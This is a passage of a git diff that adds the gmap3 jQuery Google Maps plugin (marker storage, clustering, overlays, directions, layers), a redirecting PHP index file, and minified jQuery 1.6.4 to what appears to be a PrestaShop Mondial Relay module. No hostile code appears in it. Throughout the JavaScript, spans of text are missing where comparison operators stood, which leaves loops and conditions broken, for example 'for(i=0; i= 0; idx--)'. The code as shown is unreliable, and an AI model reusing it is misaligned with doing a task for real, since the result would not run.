disclaimer in the documentation and/or other materials provided + * with the distribution. + * - Neither the name of the author nor the names of its contributors + * may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + + (function ($) { + + /***************************************************************************/ + /* STACK */ + /***************************************************************************/ + function Stack (){ + var st = []; + this.empty = function (){ + for(var i = 0; i < st.length; i++){ + if (st[i]){ + return false + } + } + return true; + } + this.add = function(v){ + st.push(v); + } + this.addNext = function ( v){ + var t=[], i, k = 0; + for(i = 0; i < st.length; i++){ + if (!st[i]){ + continue; + } + if (k == 1) { + t.push(v); + } + t.push(st[i]); + k++; + } + if (k < 2) { + t.push(v); + } + st = t; + } + this.get = function (){ + for(var i = 0; i < st.length; i++){ + if (st[i]) { + return st[i]; + } + } + return false; + } + this.ack = function (){ + for(var i = 0; i < st.length; i++){ + if (st[i]) { + delete st[i]; + break; + } + } + if (this.empty()){ + st = []; + } + } + } + + /***************************************************************************/ + /* STORE */ + /***************************************************************************/ + function Store(){ + var store = {}; + + /** + * add a mixed to the store + **/ + this.add = function(name, obj, todo){ + name = name.toLowerCase(); + if (!store[name]){ + store[name] = []; + } + store[name].push({obj:obj, tag:ival(todo, 'tag')}); + return name + '-' + (store[name].length-1); + } + + /** + * return a stored mixed + **/ + this.get = function(name, last, tag){ + var i, idx, add; + name = name.toLowerCase(); + if (!store[name] || !store[name].length){ + return null; + } + idx = last ? store[name].length : -1; + add = last ? -1 : 1; + for(i=0; i= 0; idx--){ + if ( (store[name][idx] !== undefined) && (store[name][idx].tag !== undefined) && ($.inArray(store[name][idx].tag, tag) >= 0) ){ + break; + } + } + } else { + for(idx = 0; idx < store[name].length; idx++){ + if ( (store[name][idx] !== undefined) && (store[name][idx].tag !== undefined) && ($.inArray(store[name][idx].tag, tag) >= 0) ){ + break; + } + } + } + } else { + idx = pop ? store[name].length - 1 : 0; + } + if ( !(idx in store[name]) ) { + return false; + } + // Google maps element + if (typeof(store[name][idx].obj.setMap) === 'function') { + store[name][idx].obj.setMap(null); + } + // jQuery + if (typeof(store[name][idx].obj.remove) === 'function') { + store[name][idx].obj.remove(); + } + // internal (cluster) + if (typeof(store[name][idx].obj.free) === 'function') { + store[name][idx].obj.free(); + } + delete store[name][idx].obj; + if (tag !== undefined){ + tmp = []; + for(i=0; i= 0){ + same[j] = true; + } else { + this.freeIndex(i); + } + } + return same; + } + + this.add = function(latLng, marker){ + markers.push({latLng:latLng, marker:marker}); + } + + this.get = function(i){ + return markers[i]; + } + + this.clusters = function(map, radius, maxZoom, force){ + var proj = map.getProjection(), + nwP = proj.fromLatLngToPoint( + new google.maps.LatLng( + map.getBounds().getNorthEast().lat(), + map.getBounds().getSouthWest().lng() + ) + ), + i, j, j2, p, x, y, k, k2, + z = map.getZoom(), + pos = {}, + saved = {}, + unik = {}, + clusters = [], + cluster, + chk, + lat, lng, keys, cnt, + bounds = map.getBounds(), + noClusters = maxZoom && (maxZoom <= map.getZoom()), + chkContain = map.getZoom() > 2; + + cnt = 0; + keys = {}; + for(i = 0; i < markers.length; i++){ + if (chkContain && !bounds.contains(markers[i].latLng)){ + continue; + } + p = proj.fromLatLngToPoint(markers[i].latLng); + pos[i] = [ + Math.floor((p.x - nwP.x) * Math.pow(2, z)), + Math.floor((p.y - nwP.y) * Math.pow(2, z)) + ]; + keys[i] = true; + cnt++; + } + // check if visible markers have changed + if (!force && !noClusters){ + for(k = 0; k < latest.length; k++){ + if( k in keys ){ + cnt--; + } else { + break; + } + } + if (!cnt){ + return false; // no change + } + } + + // save current keys to check later if an update has been done + latest = keys; + + keys = []; + for(i in pos){ + x = pos[i][0]; + y = pos[i][1]; + if ( !(x in saved) ){ + saved[x] = {}; + } + if (!( y in saved[x]) ) { + saved[x][y] = i; + unik[i] = {}; + keys.push(i); + } + unik[ saved[x][y] ][i] = true; + } + radius = Math.pow(radius, 2); + delete(saved); + + k = 0; + while(1){ + while((k 1; + saved = cluster; + } else { + chk = cluster.idx.length > saved.idx.length; + if (chk){ + saved = cluster; + } + } + if (chk){ + p = proj.fromLatLngToPoint( new google.maps.LatLng(saved.lat, saved.lng) ); + lat = Math.floor((p.x - nwP.x) * Math.pow(2, z)); + lng = Math.floor((p.y - nwP.y) * Math.pow(2, z)); + } + } while(chk); + } + + for(k2 = 0; k2 < saved.idx.length; k2++){ + if (saved.idx[k2] in unik){ + delete(unik[saved.idx[k2]]); + } + } + clusters.push(saved); + } + return clusters; + } + + this.getBounds = function(){ + var i, bounds = new google.maps.LatLngBounds(); + for(i=0; i { eventName => function, } + * onces => { eventName => function, } + * data => mixed data + * ] + **/ + this._attachEvents = function(sender, todo){ + var name; + if (!todo) { + return + } + if (todo.events){ + for(name in todo.events){ + if (typeof(todo.events[name]) === 'function'){ + this._attachEvent(sender, name, todo.events[name], todo.data, false); + } + } + } + if (todo.onces){ + for(name in todo.onces){ + if (typeof(todo.onces[name]) === 'function'){ + this._attachEvent(sender, name, todo.onces[name], todo.data, true); + } + } + } + } + + /** + * execute callback functions + **/ + this._callback = function(result, todo){ + if (typeof(todo.callback) === 'function') { + todo.callback.apply($this, [result]); + } else if (typeof(todo.callback) === 'object') { + for(var i=0; i bounds not available + // wait for map + google.maps.event.addListenerOnce( + map, + 'bounds_changed', + function() { + that._addclusteredmarkers(todo); + } + ); + return; + } + + if (typeof(radius) === 'number'){ + clusterer = new Clusterer(); + for(i=0 ; i 1){ + // look for the cluster design to use + m = 0; + for(k in styles){ + if ( (k > m) && (k <= cluster.idx.length) ){ + m = k; + } + } + if (styles[m]){ // cluster defined for the current markers count + w = ival(styles[m], 'width'); + h = ival(styles[m], 'height'); + + // create a custom _addOverlay command + atodo = {}; + $.extend( + true, + atodo, + ctodo, + { options:{ + pane: 'overlayLayer', + content:styles[m].content.replace('CLUSTER_COUNT', cluster.idx.length), + offset:{ + x: -w/2, + y: -h/2 + } + } + } + ); + obj = this._addOverlay(atodo, toLatLng(cluster), true); + atodo.options.pane = 'floatShadow'; + atodo.options.content = $('
        '); + atodo.options.content.width(w); + atodo.options.content.height(h); + shadow = this._addOverlay(atodo, toLatLng(cluster), true); + + // store data to the clusterer + ctodo.data = { + latLng: toLatLng(cluster), + markers:[] + }; + for(ii=0; ii
        '), + listeners = []; + + $div + .css('border', 'none') + .css('borderWidth', '0px') + .css('position', 'absolute'); + $div.append(opts.content); + + function f() { + _default.classes.OverlayView.call(this); + this.setMap(map); + } + + f.prototype = new _default.classes.OverlayView(); + + f.prototype.onAdd = function() { + var panes = this.getPanes(); + if (opts.pane in panes) { + $(panes[opts.pane]).append($div); + } + } + f.prototype.draw = function() { + var overlayProjection = this.getProjection(), + ps = overlayProjection.fromLatLngToDivPixel(latLng), + that = this; + + $div + .css('left', (ps.x+opts.offset.x) + 'px') + .css('top' , (ps.y+opts.offset.y) + 'px'); + + $.each( ("dblclick click mouseover mousemove mouseout mouseup mousedown").split(" "), function( i, name ) { + listeners.push( + google.maps.event.addDomListener($div[0], name, function(e) { + google.maps.event.trigger(that, name); + }) + ); + }); + listeners.push( + google.maps.event.addDomListener($div[0], "contextmenu", function(e) { + google.maps.event.trigger(that, "rightclick"); + }) + ); + } + f.prototype.onRemove = function() { + for (var i = 0; i < listeners.length; i++) { + google.maps.event.removeListener(listeners[i]); + } + $div.remove(); + } + f.prototype.hide = function() { + $div.hide(); + } + f.prototype.show = function() { + $div.show(); + } + f.prototype.toggle = function() { + if ($div) { + if ($div.is(':visible')){ + this.show(); + } else { + this.hide(); + } + } + } + f.prototype.toggleDOM = function() { + if (this.getMap()) { + this.setMap(null); + } else { + this.setMap(map); + } + } + f.prototype.getDOMElement = function() { + return $div[0]; + } + ov = new f(); + if (!internal){ + store.add('overlay', ov, o); + this._manageEnd(ov, o); + } + return ov; + } + + /** + * add a fix panel to a map + **/ + this.addfixpanel = function(todo){ + var o = getObject('fixpanel', todo), + x=y=0, $c, $div; + if (o.options.content){ + $c = $(o.options.content); + + if (o.options.left !== undefined){ + x = o.options.left; + } else if (o.options.right !== undefined){ + x = $this.width() - $c.width() - o.options.right; + } else if (o.options.center){ + x = ($this.width() - $c.width()) / 2; + } + + if (o.options.top !== undefined){ + y = o.options.top; + } else if (o.options.bottom !== undefined){ + y = $this.height() - $c.height() - o.options.bottom; + } else if (o.options.middle){ + y = ($this.height() - $c.height()) / 2 + } + + $div = $('
        ') + .css('position', 'absolute') + .css('top', y+'px') + .css('left', x+'px') + .css('z-index', '1000') + .append($c); + + $this.first().prepend($div); + this._attachEvents(map, o); + store.add('fixpanel', $div, o); + this._callback($div, o); + } + this._end(); + } + + /** + * add a direction renderer to a map + **/ + this.adddirectionsrenderer = function(todo, internal){ + var dr, o = getObject('directionrenderer', todo, 'panelId'); + o.options.map = map; + dr = new google.maps.DirectionsRenderer(o.options); + if (o.panelId) { + dr.setPanel(document.getElementById(o.panelId)); + } + store.add('directionrenderer', dr, o); + this._manageEnd(dr, o, internal); + return dr; + } + + /** + * set a direction panel to a dom element from its ID + **/ + this.setdirectionspanel = function(todo){ + var dr = store.get('directionrenderer'), + o = getObject('directionpanel', todo, 'id'); + if (dr && o.id) { + dr.setPanel(document.getElementById(o.id)); + } + this._manageEnd(dr, o); + } + + /** + * set directions on a map (create Direction Renderer if needed) + **/ + this.setdirections = function(todo){ + var dr = store.get('directionrenderer'), + o = getObject('directions', todo); + if (todo) { + o.options.directions = todo.directions ? todo.directions : (todo.options && todo.options.directions ? todo.options.directions : null); + } + if (o.options.directions) { + if (!dr) { + dr = this.adddirectionsrenderer(o, true); + } else { + dr.setDirections(o.options.directions); + } + } + this._manageEnd(dr, o); + } + + /** + * set a streetview to a map + **/ + this.setstreetview = function(todo){ + var panorama, + o = getObject('streetview', todo, 'id'); + if (o.options.position){ + o.options.position = toLatLng(o.options.position); + } + panorama = new _default.classes.StreetViewPanorama(document.getElementById(o.id),o.options); + if (panorama){ + map.setStreetView(panorama); + } + this._manageEnd(panorama, o); + } + + /** + * add a kml layer to a map + **/ + this.addkmllayer = function(todo){ + var kml, + o = getObject('kmllayer', todo, 'url'); + o.options.map = map; + if (typeof(o.url) === 'string'){ + kml = new _default.classes.KmlLayer(o.url, o.options); + } + store.add('kmllayer', kml, o); + this._manageEnd(kml, o); + } + + /** + * add a traffic layer to a map + **/ + this.addtrafficlayer = function(todo){ + var o = getObject('trafficlayer', todo), + tl = store.get('trafficlayer'); + if (!tl){ + tl = new _default.classes.TrafficLayer(); + tl.setMap(map); + store.add('trafficlayer', tl, o); + } + this._manageEnd(tl, o); + } + + /** + * add a bicycling layer to a map + **/ + this.addbicyclinglayer = function(todo){ + var o = getObject('bicyclinglayer', todo), + bl = store.get('bicyclinglayer'); + if (!bl){ + bl = new _default.classes.BicyclingLayer(); + bl.setMap(map); + store.add('bicyclinglayer', bl, o); + } + this._manageEnd(bl, o); + } + + /** + * add a ground overlay to a map + **/ + this.addgroundoverlay = function(todo){ + var ov, + o = getObject('groundoverlay', todo, ['bounds', 'url']); + o.bounds = toLatLngBounds(o.bounds); + if (o.bounds && (typeof(o.url) === 'string')){ + ov = new _default.classes.GroundOverlay(o.url, o.bounds); + ov.setMap(map); + store.add('groundoverlay', ov, o); + } + this._manageEnd(ov, o); + } + + /** + * geolocalise the user and return a LatLng + **/ + this.geolatlng = function(todo){ + var callback = ival(todo, 'callback'); + if (typeof(callback) === 'function') { + if(navigator.geolocation) { + navigator.geolocation.getCurrentPosition( + function(position) { + var out = new google.maps.LatLng(position.coords.latitude,position.coords.longitude); + callback.apply($this, [out]); + }, + function() { + var out = false; + callback.apply($this, [out]); + } + ); + } else if (google.gears) { + google.gears.factory.create('beta.geolocation').getCurrentPosition( + function(position) { + var out = new google.maps.LatLng(position.latitude,position.longitude); + callback.apply($this, [out]); + }, + function() { + out = false; + callback.apply($this, [out]); + } + ); + } else { + callback.apply($this, [false]); + } + } + this._end(); + } + + /** + * add a style to a map + **/ + this.addstyledmap = function(todo, internal){ + var o = getObject('styledmap', todo, ['id', 'style']); + if (o.style && o.id && !styles[o.id]) { + styles[o.id] = new _default.classes.StyledMapType(o.style, o.options); + if (map) { + map.mapTypes.set(o.id, styles[o.id]); + } + } + this._manageEnd(styles[o.id], o, internal); + } + + /** + * set a style to a map (add it if needed) + **/ + this.setstyledmap = function(todo){ + var o = getObject('styledmap', todo, ['id', 'style']); + if (o.id) { + this.addstyledmap(o, true); + if (styles[o.id]) { + map.setMapTypeId(o.id); + this._callback(styles[o.id], todo); + } + } + this._manageEnd(styles[o.id], o); + } + + /** + * remove objects from a map + **/ + this.clear = function(todo){ + var list = array(ival(todo, 'list') || ival(todo, 'name')), + last = ival(todo, 'last', false), + first = ival(todo, 'first', false), + tag = ival(todo, 'tag'); + if (tag !== undefined){ + tag = array(tag); + } + store.clear(list, last, first, tag); + this._end(); + } + + /** + * return objects previously created + **/ + this.get = function(todo){ + var name = ival(todo, 'name') || 'map', + first= ival(todo, 'first'), + all = ival(todo, 'all'), + tag = ival(todo, 'tag'); + name = name.toLowerCase(); + if (name === 'map'){ + return map; + } + if (tag !== undefined){ + tag = array(tag); + } + if (first){ + return store.get(name, false, tag); + } else if (all){ + return store.all(name, tag); + } else { + return store.get(name, true, tag); + } + } + + /** + * return the max zoom of a location + **/ + this.getmaxzoom = function(todo){ + this._resolveLatLng(todo, '_getMaxZoom'); + } + + this._getMaxZoom = function(todo, latLng){ + var callback = ival(todo, 'callback'), + that = this; + if (callback && typeof(callback) === 'function') { + getMaxZoomService().getMaxZoomAtLatLng( + latLng, + function(result) { + var zoom = result.status === google.maps.MaxZoomStatus.OK ? result.zoom : false; + callback.apply($this, [zoom, result.status]); + that._end(); + } + ); + } else { + this._end(); + } + } + + /** + * modify default values + **/ + this.setdefault = function(todo){ + setDefault(todo); + this._end(); + } + + /** + * autofit a map using its overlays (markers, rectangles ...) + **/ + this.autofit = function(todo, internal){ + var names, list, obj, i, j, + empty = true, + bounds = new google.maps.LatLngBounds(), + maxZoom = ival(todo, 'maxZoom', null); + + names = store.names(); + for(i=0; i detect zoom level and check maxZoom + google.maps.event.addListenerOnce( + map, + 'bounds_changed', + function() { + if (this.getZoom() > maxZoom){ + this.setZoom(maxZoom); + } + } + ); + } + map.fitBounds(bounds); + } + if (!internal){ + this._manageEnd(empty ? false : bounds, todo, internal); + } + } + + }; + + //-----------------------------------------------------------------------// + // jQuery plugin + //-----------------------------------------------------------------------// + + $.fn.gmap3 = function(){ + var i, args, list = [], empty = true, results = []; + // store all arguments in a todo list + for(i=0; i +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay/js/jquery-1.6.4.min.js b/modules/mondialrelay/js/jquery-1.6.4.min.js new file mode 100755 index 0000000..3684c36 --- /dev/null +++ b/modules/mondialrelay/js/jquery-1.6.4.min.js @@ -0,0 +1,4 @@ +/*! jQuery v1.6.4 http://jquery.com/ | http://jquery.org/license */ +(function(a,b){function cu(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cr(a){if(!cg[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ch||(ch=c.createElement("iframe"),ch.frameBorder=ch.width=ch.height=0),b.appendChild(ch);if(!ci||!ch.createElement)ci=(ch.contentWindow||ch.contentDocument).document,ci.write((c.compatMode==="CSS1Compat"?"":"")+""),ci.close();d=ci.createElement(a),ci.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ch)}cg[a]=e}return cg[a]}function cq(a,b){var c={};f.each(cm.concat.apply([],cm.slice(0,b)),function(){c[this]=a});return c}function cp(){cn=b}function co(){setTimeout(cp,0);return cn=f.now()}function cf(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ce(){try{return new a.XMLHttpRequest}catch(b){}}function b$(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g0){c!=="border"&&f.each(e,function(){c||(d-=parseFloat(f.css(a,"padding"+this))||0),c==="margin"?d+=parseFloat(f.css(a,c+this))||0:d-=parseFloat(f.css(a,"border"+this+"Width"))||0});return d+"px"}d=bv(a,b,b);if(d<0||d==null)d=a.style[b]||0;d=parseFloat(d)||0,c&&f.each(e,function(){d+=parseFloat(f.css(a,"padding"+this))||0,c!=="padding"&&(d+=parseFloat(f.css(a,"border"+this+"Width"))||0),c==="margin"&&(d+=parseFloat(f.css(a,c+this))||0)});return d+"px"}function bl(a,b){b.src?f.ajax({url:b.src,async:!1,dataType:"script"}):f.globalEval((b.text||b.textContent||b.innerHTML||"").replace(bd,"/*$0*/")),b.parentNode&&b.parentNode.removeChild(b)}function bk(a){f.nodeName(a,"input")?bj(a):"getElementsByTagName"in a&&f.grep(a.getElementsByTagName("input"),bj)}function bj(a){if(a.type==="checkbox"||a.type==="radio")a.defaultChecked=a.checked}function bi(a){return"getElementsByTagName"in a?a.getElementsByTagName("*"):"querySelectorAll"in a?a.querySelectorAll("*"):[]}function bh(a,b){var c;if(b.nodeType===1){b.clearAttributes&&b.clearAttributes(),b.mergeAttributes&&b.mergeAttributes(a),c=b.nodeName.toLowerCase();if(c==="object")b.outerHTML=a.outerHTML;else if(c!=="input"||a.type!=="checkbox"&&a.type!=="radio"){if(c==="option")b.selected=a.defaultSelected;else if(c==="input"||c==="textarea")b.defaultValue=a.defaultValue}else a.checked&&(b.defaultChecked=b.checked=a.checked),b.value!==a.value&&(b.value=a.value);b.removeAttribute(f.expando)}}function bg(a,b){if(b.nodeType===1&&!!f.hasData(a)){var c=f.expando,d=f.data(a),e=f.data(b,d);if(d=d[c]){var g=d.events;e=e[c]=f.extend({},d);if(g){delete e.handle,e.events={};for(var h in g)for(var i=0,j=g[h].length;i=0===c})}function U(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function M(a,b){return(a&&a!=="*"?a+".":"")+b.replace(y,"`").replace(z,"&")}function L(a){var b,c,d,e,g,h,i,j,k,l,m,n,o,p=[],q=[],r=f._data(this,"events");if(!(a.liveFired===this||!r||!r.live||a.target.disabled||a.button&&a.type==="click")){a.namespace&&(n=new RegExp("(^|\\.)"+a.namespace.split(".").join("\\.(?:.*\\.)?")+"(\\.|$)")),a.liveFired=this;var s=r.live.slice(0);for(i=0;ic)break;a.currentTarget=e.elem,a.data=e.handleObj.data,a.handleObj=e.handleObj,o=e.handleObj.origHandler.apply(e.elem,arguments);if(o===!1||a.isPropagationStopped()){c=e.level,o===!1&&(b=!1);if(a.isImmediatePropagationStopped())break}}return b}}function J(a,c,d){var e=f.extend({},d[0]);e.type=a,e.originalEvent={},e.liveFired=b,f.event.handle.call(c,e),e.isDefaultPrevented()&&d[0].preventDefault()}function D(){return!0}function C(){return!1}function m(a,c,d){var e=c+"defer",g=c+"queue",h=c+"mark",i=f.data(a,e,b,!0);i&&(d==="queue"||!f.data(a,g,b,!0))&&(d==="mark"||!f.data(a,h,b,!0))&&setTimeout(function(){!f.data(a,g,b,!0)&&!f.data(a,h,b,!0)&&(f.removeData(a,e,!0),i.resolve())},0)}function l(a){for(var b in a)if(b!=="toJSON")return!1;return!0}function k(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(j,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNaN(d)?i.test(d)?f.parseJSON(d):d:parseFloat(d)}catch(g){}f.data(a,c,d)}else d=b}return d}var c=a.document,d=a.navigator,e=a.location,f=function(){function K(){if(!e.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(K,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/\d/,n=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,o=/^[\],:{}\s]*$/,p=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,q=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,r=/(?:^|:|,)(?:\s*\[)+/g,s=/(webkit)[ \/]([\w.]+)/,t=/(opera)(?:.*version)?[ \/]([\w.]+)/,u=/(msie) ([\w.]+)/,v=/(mozilla)(?:.*? rv:([\w.]+))?/,w=/-([a-z]|[0-9])/ig,x=/^-ms-/,y=function(a,b){return(b+"").toUpperCase()},z=d.userAgent,A,B,C,D=Object.prototype.toString,E=Object.prototype.hasOwnProperty,F=Array.prototype.push,G=Array.prototype.slice,H=String.prototype.trim,I=Array.prototype.indexOf,J={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=n.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.6.4",length:0,size:function(){return this.length},toArray:function(){return G.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?F.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),B.done(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(G.apply(this,arguments),"slice",G.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:F,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;B.resolveWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").unbind("ready")}},bindReady:function(){if(!B){B=e._Deferred();if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",C,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",C),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&K()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a&&typeof a=="object"&&"setInterval"in a},isNaN:function(a){return a==null||!m.test(a)||isNaN(a)},type:function(a){return a==null?String(a):J[D.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!E.call(a,"constructor")&&!E.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||E.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw a},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(o.test(b.replace(p,"@").replace(q,"]").replace(r,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(x,"ms-").replace(w,y)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i1?h.call(arguments,0):c,--e||g.resolveWith(g,h.call(b,0))}}var b=arguments,c=0,d=b.length,e=d,g=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred();if(d>1){for(;c
        a",d=a.getElementsByTagName("*"),e=a.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=a.getElementsByTagName("input")[0],k={leadingWhitespace:a.firstChild.nodeType===3,tbody:!a.getElementsByTagName("tbody").length,htmlSerialize:!!a.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55$/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:a.className!=="t",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,k.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,k.optDisabled=!h.disabled;try{delete a.test}catch(v){k.deleteExpando=!1}!a.addEventListener&&a.attachEvent&&a.fireEvent&&(a.attachEvent("onclick",function(){k.noCloneEvent=!1}),a.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),k.radioValue=i.value==="t",i.setAttribute("checked","checked"),a.appendChild(i),l=c.createDocumentFragment(),l.appendChild(a.firstChild),k.checkClone=l.cloneNode(!0).cloneNode(!0).lastChild.checked,a.innerHTML="",a.style.width=a.style.paddingLeft="1px",m=c.getElementsByTagName("body")[0],o=c.createElement(m?"div":"body"),p={visibility:"hidden",width:0,height:0,border:0,margin:0,background:"none"},m&&f.extend(p,{position:"absolute",left:"-1000px",top:"-1000px"});for(t in p)o.style[t]=p[t];o.appendChild(a),n=m||b,n.insertBefore(o,n.firstChild),k.appendChecked=i.checked,k.boxModel=a.offsetWidth===2,"zoom"in a.style&&(a.style.display="inline",a.style.zoom=1,k.inlineBlockNeedsLayout=a.offsetWidth===2,a.style.display="",a.innerHTML="
        ",k.shrinkWrapBlocks=a.offsetWidth!==2),a.innerHTML="
        t
